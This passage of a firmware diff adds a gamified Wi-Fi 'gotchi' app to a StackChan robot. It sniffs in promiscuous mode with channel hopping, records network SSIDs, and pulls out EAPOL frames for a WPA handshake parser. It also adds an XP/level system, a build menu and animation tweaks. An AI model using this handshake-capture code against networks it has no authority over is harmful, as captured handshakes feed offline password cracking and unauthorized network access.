+ _lastChannelHop(0), _hopIntervalMs(500), _channelHopEnabled(true), _hopIndex(0) { +} + +bool WifiScanner::init() { + if (_initialized) return true; + + ESP_LOGI(TAG, "Initializing WiFi..."); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_err_t ret = esp_wifi_init(&cfg); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi init failed: %d", ret); + return false; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + ret = esp_wifi_set_mode(WIFI_MODE_STA); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi mode set failed: %d", ret); + esp_wifi_deinit(); + return false; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + _initialized = true; + ESP_LOGI(TAG, "WiFi initialized"); + return true; +} + +int WifiScanner::ieee80211_hdrlen(uint16_t fc) { + int hdrlen = 24; + uint8_t type = (fc >> 2) & 0x3; + if (type == 2) { + if (fc & 0x0080) hdrlen += 2; + } + if (fc & 0x8000) hdrlen += 4; + return hdrlen; +} + +void WifiScanner::processBeaconFrame(uint8_t* payload, int len, int8_t rssi, uint8_t channel) { + if (len < 36) return; + + int pos = 36; + while (pos < len - 2) { + uint8_t tag = payload[pos]; + uint8_t tag_len = payload[pos + 1]; + + if (tag == 0x00) { + if (tag_len > 0 && tag_len < 33) { + uint8_t bssid[6]; + memcpy(bssid, &payload[10], 6); + + auto& db = getNetworkDatabase(); + auto* existing = db.findNetwork(bssid); + if (existing) { + existing->rssi = rssi; + existing->lastSeen = GetHAL().millis(); + } else { + char ssid[33] = {0}; + memcpy(ssid, &payload[pos + 2], tag_len); + db.addNetwork(ssid, bssid, rssi, channel); + ESP_LOGI(TAG, "Found: %.32s (ch:%d rssi:%d)", ssid, channel, rssi); + } + } + break; + } + pos += tag_len + 2; + } +} + +void WifiScanner::processDataFrame(uint8_t* payload, int len, int8_t rssi) { + if (len < 24) return; + + uint16_t fc = payload[0] | (payload[1] << 8); + int hdrlen = ieee80211_hdrlen(fc); + + if (len < hdrlen + 8) return; + + bool toDs = (fc & 0x0100) != 0; + bool fromDs = (fc & 0x0200) != 0; + + int offset = hdrlen; + if (toDs && fromDs) offset += 6; + + uint8_t subtype = (fc >> 4) & 0x0F; + bool isQoS = (subtype & 0x08) != 0; + if (isQoS) offset += 2; + + if (isQoS && (payload[1] & 0x80)) offset += 4; + + if (offset + 8 > len) return; + + if (payload[offset] == 0xAA && payload[offset+1] == 0xAA && + payload[offset+2] == 0x03 && payload[offset+3] == 0x00 && + payload[offset+4] == 0x00 && payload[offset+5] == 0x00 && + payload[offset+6] == 0x88 && payload[offset+7] == 0x8E) { + + uint8_t srcMac[6], dstMac[6]; + memcpy(srcMac, &payload[10], 6); + memcpy(dstMac, &payload[4], 6); + + uint8_t bssid[6]; + memcpy(bssid, &payload[16], 6); + + char ssid[33] = {0}; + auto& db = getNetworkDatabase(); + for (const auto& net : db.getNetworks()) { + if (memcmp(net.bssid, bssid, 6) == 0) { + strncpy(ssid, net.ssid, 32); + break; + } + } + + getHandshakeParser().processEapolFrame(payload + offset + 8, len - offset - 8, + srcMac, dstMac, ssid, bssid, rssi); + } +} + +void WifiScanner::wifiSniffCallback(void* buf, wifi_promiscuous_pkt_type_t type) { + if (buf == nullptr) return; + + auto& scanner = getWifiScanner(); + wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; + uint8_t* payload = pkt->payload; + int len = pkt->rx_ctrl.sig_len; + int8_t rssi = pkt->rx_ctrl.rssi; + uint8_t channel = pkt->rx_ctrl.channel; + + if (len < 24) return; + + if (type == WIFI_PKT_MGMT) { + if ((payload[0] & 0xFC) != 0x80) return; + scanner.processBeaconFrame(payload, len, rssi, channel); + } + else if (type == WIFI_PKT_DATA) { + scanner.processDataFrame(payload, len, rssi); + } +} + +bool WifiScanner::startSniff() { + if (!_initialized) { + if (!init()) return false; + } + + if (_sniffing) return true; + + ESP_LOGI(TAG, "Starting sniff mode..."); + + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(100)); + + esp_wifi_set_promiscuous_rx_cb(wifiSniffCallback); + + wifi_promiscuous_filter_t filter = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA + }; + esp_wifi_set_promiscuous_filter(&filter); + esp_wifi_set_promiscuous(true); + + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + _lastChannelHop = GetHAL().millis(); + _hopIndex = 0; + + _sniffing = true; + ESP_LOGI(TAG, "Sniff mode started"); + return true; +} + +bool WifiScanner::stopSniff() { + if (!_sniffing) return true; + + esp_wifi_set_promiscuous(false); + _sniffing = false; + ESP_LOGI(TAG, "Sniff mode stopped"); + return true; +} + +bool WifiScanner::startScan() { + if (!_initialized) { + if (!init()) return false; + } + + if (_scanning) return true; + + ESP_LOGI(TAG, "Starting active scan..."); + + wifi_scan_config_t scan_config = {}; + scan_config.show_hidden = true; + esp_wifi_scan_start(&scan_config, false); + + _scanning = true; + _sniffing = true; + return true; +} + +bool WifiScanner::stopScan() { + if (!_scanning) return true; + + esp_wifi_scan_stop(); + _scanning = false; + _sniffing = false; + ESP_LOGI(TAG, "Scan stopped"); + return true; +} + +void WifiScanner::update() { + if (!_sniffing || !_channelHopEnabled) return; + + uint32_t now = GetHAL().millis(); + if ((now - _lastChannelHop) > _hopIntervalMs) { + _hopIndex = (_hopIndex + 1) % CHANNEL_SEQ_LEN; + _currentChannel = CHANNEL_SEQ[_hopIndex]; + esp_wifi_set_channel(_currentChannel, WIFI_SECOND_CHAN_NONE); + _channelsScanned++; + + // Track visited channels in bitmask (bit 0 = channel 1, bit 12 = channel 13) + if (_currentChannel >= 1 && _currentChannel <= 13) { + _channelsVisitedMask |= (1 << (_currentChannel - 1)); + } + + _lastChannelHop = now; + } +} + +void WifiScanner::setHopInterval(uint32_t intervalMs) { + _hopIntervalMs = intervalMs; +} + +void WifiScanner::setChannelHopEnabled(bool enabled) { + _channelHopEnabled = enabled; +} + +static WifiScanner _wifiScanner; + +WifiScanner& getWifiScanner() { + return _wifiScanner; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/wifi_scanner.h b/firmware/main/gotchi/wifi_scanner.h new file mode 100644 index 0000000..3ea0bb2 --- /dev/null +++ b/firmware/main/gotchi/wifi_scanner.h @@ -0,0 +1,54 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include +#include + +namespace gotchi { + +class WifiScanner { +public: + WifiScanner(); + + bool init(); + bool isInitialized() const { return _initialized; } + bool isSniffing() const { return _sniffing; } + uint8_t getCurrentChannel() const { return _currentChannel; } + uint32_t getChannelsScanned() const { return _channelsScanned; } + uint16_t getChannelsVisitedMask() const { return _channelsVisitedMask; } + + bool startSniff(); + bool stopSniff(); + + bool startScan(); + bool stopScan(); + + void update(); + void setHopInterval(uint32_t intervalMs); + void setChannelHopEnabled(bool enabled); + +private: + static void wifiSniffCallback(void* buf, wifi_promiscuous_pkt_type_t type); + static int ieee80211_hdrlen(uint16_t fc); + void processBeaconFrame(uint8_t* payload, int len, int8_t rssi, uint8_t channel); + void processDataFrame(uint8_t* payload, int len, int8_t rssi); + + bool _initialized; + bool _sniffing; + bool _scanning; + uint8_t _currentChannel; + uint32_t _channelsScanned; + uint16_t _channelsVisitedMask; + uint32_t _lastChannelHop; + uint32_t _hopIntervalMs; + bool _channelHopEnabled; + uint8_t _hopIndex; +}; + +WifiScanner& getWifiScanner(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/xp_system.cpp b/firmware/main/gotchi/xp_system.cpp new file mode 100644 index 0000000..4166c46 --- /dev/null +++ b/firmware/main/gotchi/xp_system.cpp @@ -0,0 +1,201 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "xp_system.h" +#include +#include +#include + +static const char* TAG = "gotchi_xp"; + +namespace gotchi { + +const char* XPSystem::LEVEL_TITLES[] = { + // Levels 1-8 (original) + "Unit", "Watcher", "Scanner", "Seeker", + "Prowler", "Phantom", "Apex", "Omega", + // Levels 9-16 (extended scanner roles) + "Observer", "Probe", "Analyst", "Decoder", "Tracker", "Hunter", "Crawler", "Synth", + // Levels 17-24 (advanced roles) + "Cortex", "Nexus", "Matrix", "Quantum", "Singularity", "Hyperion", "Archon", "Titan", + // Levels 25-32 (cosmic/tech) + "Prime", "Alpha", "Omega Prime", "Supreme", "Transcendent", "Paramount", "Glorious", "Eternal", + // Levels 33-39 (ultimate tiers) + "Legendary", "Mythic", "Omnipotent", "Infinite", "Absolute", "Ultimate", "Paramount", + // Level 40 (Enigma - hints at secrets) + "Enigma", + // Levels 41-42 (secret - require special unlock) + "Marvin", "Deep Thought" +}; + +const int XPSystem::XP_PER_LEVEL[] = { + 0, 50, 150, 350, 700, 1200, 2000, 3500, + 5000, 6500, 8500, 11000, 14000, 17500, 21500, 26000, + 31000, 36500, 42500, 49000, 56000, 63500, 71500, 80000, + 89000, 98500, 108500, 119000, 130000, 141500, 153500, 166000, + 179000, 192500, 206500, 221000, 236000, 251500, 267500, + 290000, + 320000, 420000 +}; + +const int XPSystem::LEVEL_SECRET_UNLOCK[] = { + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, + 0, // Level 40 - Enigma (not secret, but hints at secrets) + 1, // Level 41 - Marvin (secret unlock) + 1 // Level 42 - Deep Thought (secret unlock) +}; + +XPSystem::XPSystem() : _xp(0), _level(1), _prestige(0), _initialized(false) {} + +void XPSystem::init() { + if (_initialized) return; + loadFromNVS(); + _initialized = true; + ESP_LOGI(TAG, "XP System initialized: XP=%d, Level=%d, Prestige=%u", (int)_xp, (int)_level, _prestige); +} + +void XPSystem::addXP(int32_t amount) { + if (amount <= 0) return; + _xp += amount; + updateLevel(); + + static uint32_t lastSave = 0; + uint32_t now = GetHAL().millis(); + if ((now - lastSave) > 60000) { + lastSave = now; + saveToNVS(); + } +} + +void XPSystem::updateLevel() { + for (int i = 41; i >= 0; i--) { + if (_xp >= XP_PER_LEVEL[i]) { + _level = i + 1; + return; + } + } + _level = 1; +} + +const char* XPSystem::getLevelTitle() const { + int lvl = _level; + if (lvl < 1) lvl = 1; + if (lvl > 42) lvl = 42; + return LEVEL_TITLES[lvl - 1]; +} + +int XPSystem::getXPForLevel(int level) const { + if (level < 1) level = 1; + if (level > 42) level = 42; + return XP_PER_LEVEL[level - 1]; +} + +int XPSystem::getXPProgress() const { + if (_level >= 42) return 100; + if (_level < 1) return 0; + + int currentLevelXP = XP_PER_LEVEL[_level - 1]; + int nextLevelXP = XP_PER_LEVEL[_level]; + int xpInLevel = _xp - currentLevelXP; + int xpNeeded = nextLevelXP - currentLevelXP; + + if (xpNeeded <= 0) return 100; + + int progress = (xpInLevel * 100) / xpNeeded; + if (progress > 100) progress = 100; + if (progress < 0) progress = 0; + return progress; +} + +int XPSystem::getXPToNextLevel() const { + if (_level >= 42) return 0; + return XP_PER_LEVEL[_level] - _xp; +} + +int XPSystem::getXPToMaxLevel() const { + return XP_PER_LEVEL[41] - _xp; +} + +bool XPSystem::isLevelSecret(int level) const { + if (level < 1 || level > 42) return false; + return LEVEL_SECRET_UNLOCK[level - 1] == 1; +} + +bool XPSystem::isLevelUnlocked(int level) const { + if (level < 1 || level > 42) return false; + if (!isLevelSecret(level)) return true; + + if (level == 41) { + return _xp >= XP_PER_LEVEL[39] && _prestige >= 1; + } + if (level == 42) { + return _xp >= XP_PER_LEVEL[40] && _prestige >= 2; + } + return false; +} + +void XPSystem::prestigeReset() { + if (_level < 42) return; + + _prestige++; + _xp = 0; + _level = 1; + saveToNVS(); + + ESP_LOGI(TAG, "Prestige! Now at prestige level %u", (unsigned)_prestige); +} + +float XPSystem::getXPMultiplier() const { + return 1.0f + (_prestige * 0.1f); +} + +void XPSystem::loadFromNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READONLY, &nvs); + if (err != ESP_OK) { + ESP_LOGI(TAG, "No saved XP data"); + return; + } + + int32_t savedXP = 0; + int32_t savedLevel = 1; + uint8_t savedPrestige = 0; + + if (nvs_get_i32(nvs, "xp", &savedXP) == ESP_OK) { + _xp = savedXP; + } + if (nvs_get_i32(nvs, "level", &savedLevel) == ESP_OK) { + _level = savedLevel; + } + if (nvs_get_u8(nvs, "prestige", &savedPrestige) == ESP_OK) { + _prestige = savedPrestige; + } + + nvs_close(nvs); + ESP_LOGI(TAG, "Loaded: XP=%d, Level=%d, Prestige=%u", (int)_xp, (int)_level, _prestige); +} + +void XPSystem::saveToNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READWRITE, &nvs); + if (err != ESP_OK) return; + + nvs_set_i32(nvs, "xp", _xp); + nvs_set_i32(nvs, "level", _level); + nvs_set_u8(nvs, "prestige", _prestige); + nvs_commit(nvs); + nvs_close(nvs); +} + +static XPSystem _xpSystem; + +XPSystem& getXPSystem() { + return _xpSystem; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/xp_system.h b/firmware/main/gotchi/xp_system.h new file mode 100644 index 0000000..0dd9eed --- /dev/null +++ b/firmware/main/gotchi/xp_system.h @@ -0,0 +1,48 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include + +namespace gotchi { + +class XPSystem { +public: + XPSystem(); + + void init(); + void addXP(int32_t amount); + int32_t getXP() const { return _xp; } + int32_t getLevel() const { return _level; } + + const char* getLevelTitle() const; + int getXPForLevel(int level) const; + int getXPToNextLevel() const; + int getXPToMaxLevel() const; + int getXPProgress() const; + bool isLevelSecret(int level) const; + bool isLevelUnlocked(int level) const; + + uint8_t getPrestige() const { return _prestige; } + void prestigeReset(); + float getXPMultiplier() const; + + void loadFromNVS(); + void saveToNVS(); + +private: + void updateLevel(); + static const char* LEVEL_TITLES[]; + static const int XP_PER_LEVEL[]; + static const int LEVEL_SECRET_UNLOCK[]; + + int32_t _xp; + int32_t _level; + uint8_t _prestige; + bool _initialized; +}; + +XPSystem& getXPSystem(); + +} \ No newline at end of file diff --git a/firmware/main/hal/board/hal_bridge.h b/firmware/main/hal/board/hal_bridge.h index ee3f6bd..39cd7fd 100644 --- a/firmware/main/hal/board/hal_bridge.h +++ b/firmware/main/hal/board/hal_bridge.h @@ -62,5 +62,6 @@ void board_set_speaker_volume(uint8_t volume, bool permanent = false); uint8_t board_get_speaker_volume(); void app_play_sound(const std::string_view& sound); +void app_play_tone(int frequency, int duration_ms); } // namespace hal_bridge diff --git a/firmware/main/hal/board/stackchan.cc b/firmware/main/hal/board/stackchan.cc index b0379b4..0d21be3 100644 --- a/firmware/main/hal/board/stackchan.cc +++ b/firmware/main/hal/board/stackchan.cc @@ -197,26 +197,12 @@ class Ft6336 : public I2cDevice { bool UpdateTouchPoint() { - auto err = TryReadRegs(0x02, read_buffer_, 6); - if (err != ESP_OK) { - tp_.num = 0; - tp_.x = -1; - tp_.y = -1; - - consecutive_failures_++; - int64_t now_us = esp_timer_get_time(); - if (last_error_log_us_ == 0 || (now_us - last_error_log_us_) >= 1000 * 1000) { - ESP_LOGW(TAG, "FT6336 read failed (%s), skipped %lu sample(s)", esp_err_to_name(err), - static_cast(consecutive_failures_)); - last_error_log_us_ = now_us; - } - return false; - } + ReadRegs(0x02, read_buffer_, 6); - consecutive_failures_ = 0; - tp_.num = read_buffer_[0] & 0x0F; - tp_.x = ((read_buffer_[1] & 0x0F) << 8) | read_buffer_[2]; - tp_.y = ((read_buffer_[3] & 0x0F) << 8) | read_buffer_[4]; + tp_.num = read_buffer_[0] & 0x0F; + tp_.x = ((read_buffer_[1] & 0x0F) << 8) | read_buffer_[2]; + tp_.y = ((read_buffer_[3] & 0x0F) << 8) | read_buffer_[4]; + return true; } @@ -398,7 +384,7 @@ class M5StackCoreS3Board : public WifiBoard { { spi_bus_config_t buscfg = {}; buscfg.mosi_io_num = GPIO_NUM_37; - buscfg.miso_io_num = GPIO_NUM_NC; + buscfg.miso_io_num = GPIO_NUM_35; buscfg.sclk_io_num = GPIO_NUM_36; buscfg.quadwp_io_num = GPIO_NUM_NC; buscfg.quadhd_io_num = GPIO_NUM_NC; @@ -645,6 +631,14 @@ uint8_t hal_bridge::board_get_speaker_volume() return volume; } +void hal_bridge::app_play_tone(int frequency, int duration_ms) +{ + // Tone generation - stub for now + // Will be implemented with LEDC tone system + (void)frequency; + (void)duration_ms; +} + void hal_bridge::toggle_xiaozhi_chat_state() { auto& app = Application::GetInstance(); diff --git a/firmware/main/main.cpp b/firmware/main/main.cpp index 164a751..f596b67 100644 --- a/firmware/main/main.cpp +++ b/firmware/main/main.cpp @@ -35,6 +35,7 @@ extern "C" void app_main(void) GetMooncake().installApp(std::make_unique()); GetMooncake().installApp(std::make_unique()); GetMooncake().installApp(std::make_unique()); + GetMooncake().installApp(std::make_unique()); // Main loop while (1) { diff --git a/firmware/main/stackchan/modifiers/speaking.h b/firmware/main/stackchan/modifiers/speaking.h index 08c4545..bdcf03d 100644 --- a/firmware/main/stackchan/modifiers/speaking.h +++ b/firmware/main/stackchan/modifiers/speaking.h @@ -18,15 +18,20 @@ class SpeakingModifier : public Modifier { * @param destroyAfterMs 持续说话时间(0 为永久,直到手动移除) * @param mouthIntervalMs 嘴巴开合频率(默认 180ms) * @param enableMotion 是否在说话时伴随头部微动 + * @param silentGapMs 说话结束后静默 gap 时间(默认 500ms),设为 0 禁用 */ - SpeakingModifier(uint32_t destroyAfterMs = 0, uint32_t mouthIntervalMs = 180, bool enableMotion = true) - : _mouth_interval_ms(mouthIntervalMs), _enable_motion(enableMotion) + SpeakingModifier(uint32_t destroyAfterMs = 0, uint32_t mouthIntervalMs = 180, bool enableMotion = true, uint32_t silentGapMs = 500) + : _mouth_interval_ms(mouthIntervalMs), _silent_gap_duration_ms(silentGapMs), _enable_motion(enableMotion) { uint32_t now = GetHAL().millis(); // 销毁计时 if (destroyAfterMs > 0) { - _destroy_at = now + destroyAfterMs; + // Add slight randomization to speech duration (±150ms) + int32_t randomOffset = Random::getInstance().getInt(-150, 150); + int32_t adjustedDuration = static_cast(destroyAfterMs) + randomOffset; + if (adjustedDuration < 500) adjustedDuration = 500; + _destroy_at = now + static_cast(adjustedDuration); _has_lifetime = true; } @@ -39,6 +44,8 @@ class SpeakingModifier : public Modifier { } _need_get_prev_angles = true; + _is_in_silent_gap = false; + _silent_gap_start = 0; } void _update(Modifiable& stackchan) override @@ -49,10 +56,31 @@ class SpeakingModifier : public Modifier { uint32_t now = GetHAL().millis(); + // 检查静默 gap 逻辑 + if (_is_in_silent_gap) { + if (now - _silent_gap_start >= _silent_gap_duration_ms) { + requestDestroy(); + } + return; + } + // 检查销毁逻辑 if (_has_lifetime && now >= _destroy_at) { - stackchan.avatar().mouth().setWeight(0); // 闭嘴 - requestDestroy(); + // 进入静默 gap 阶段 + if (_silent_gap_duration_ms > 0) { + stackchan.avatar().setSpeech(""); + stackchan.avatar().mouth().setWeight(0); + _is_in_silent_gap = true; + _silent_gap_start = now; + // Add slight randomization to gap duration (±100ms) + int32_t randomOffset = Random::getInstance().getInt(-100, 100); + int32_t adjustedGap = static_cast(_silent_gap_duration_ms) + randomOffset; + if (adjustedGap < 200) adjustedGap = 200; + _silent_gap_duration_ms = static_cast(adjustedGap); + } else { + stackchan.avatar().mouth().setWeight(0); + requestDestroy(); + } return; } @@ -135,11 +163,14 @@ class SpeakingModifier : public Modifier { uint32_t _next_mouth_tick = 0; uint32_t _next_motion_tick = 0; uint32_t _mouth_interval_ms; + uint32_t _silent_gap_duration_ms; + uint32_t _silent_gap_start; bool _has_lifetime = false; bool _enable_motion = false; bool _is_mouth_open = false; bool _need_get_prev_angles = true; + bool _is_in_silent_gap = false; uitk::Vector2i _prev_angles; }; diff --git a/firmware/main/stackchan/stackchan.h b/firmware/main/stackchan/stackchan.h index 39aaf63..99c6ec7 100644 --- a/firmware/main/stackchan/stackchan.h +++ b/firmware/main/stackchan/stackchan.h @@ -90,6 +90,20 @@ class StackChan : public Modifiable { return false; } + /** + * @brief Check if motion is attached + * + * @return true + * @return false + */ + bool hasMotion() + { + if (_motion) { + return true; + } + return false; + } + addon::NeonLight& leftNeonLight() override { return _left_neon_light; diff --git a/firmware/menu.bat b/firmware/menu.bat new file mode 100644 index 0000000..8b872ad --- /dev/null +++ b/firmware/menu.bat @@ -0,0 +1,76 @@ +@echo off +REM StackChan-Gotchi Build Menu +REM Run this in CMD (not PowerShell or Git Bash) + +setlocal EnableDelayedExpansion + +set "SCRIPT_DIR=%~dp0" +cd /d "%SCRIPT_DIR%" + +:menu +cls +echo ======================================== +echo StackChan-Gotchi Build Menu +echo ======================================== +echo. +echo 1) Clean Build (recommended) +echo 2) Quick Build (incremental) +echo 3) Flash to Device +echo 4) Flash + Monitor +echo 5) Erase Flash +echo 6) Open build folder in Explorer +echo 7) Exit +echo. +echo ======================================== + +set /p choice=Enter choice (1-7): + +if "%choice%"=="1" goto clean +if "%choice%"=="2" goto build +if "%choice%"=="3" goto flash +if "%choice%"=="4" goto flash_monitor +if "%choice%"=="5" goto erase +if "%choice%"=="6" goto explorer +if "%choice%"=="7" exit + +echo Invalid choice. +timeout /t 2 >nul +goto menu + +:clean +call clean_build.bat +goto end + +:build +call build.bat +goto end + +:flash +echo. +echo Please select COM port: +call flash.bat +goto end + +:flash_monitor +echo. +echo Please select COM port: +call flash.bat +goto end + +:erase +call erase_flash.bat +goto end + +:explorer +if exist "build" ( + explorer "build" +) else ( + echo Build folder does not exist yet. Run a build first. + timeout /t 3 >nul +) +goto menu + +:end +echo. +echo Done! +pause \ No newline at end of file diff --git a/firmware/partitions.csv b/firmware/partitions.csv index 0656b16..6b5182d 100644 --- a/firmware/partitions.csv +++ b/firmware/partitions.csv @@ -5,5 +5,6 @@ otadata, data, ota, 0xd000, 0x2000, phy_init, data, phy, 0xf000, 0x1000, ota_0, app, ota_0, 0x20000, 0x4f0000, ota_1, app, ota_1, , 0x4f0000, -assets, data, spiffs, 0xA00000, 4M, +storage, data, fat, 0xA00000, 2M, +assets, data, spiffs, 0xC00000, 3M, coredump, data, coredump,, 0x10000,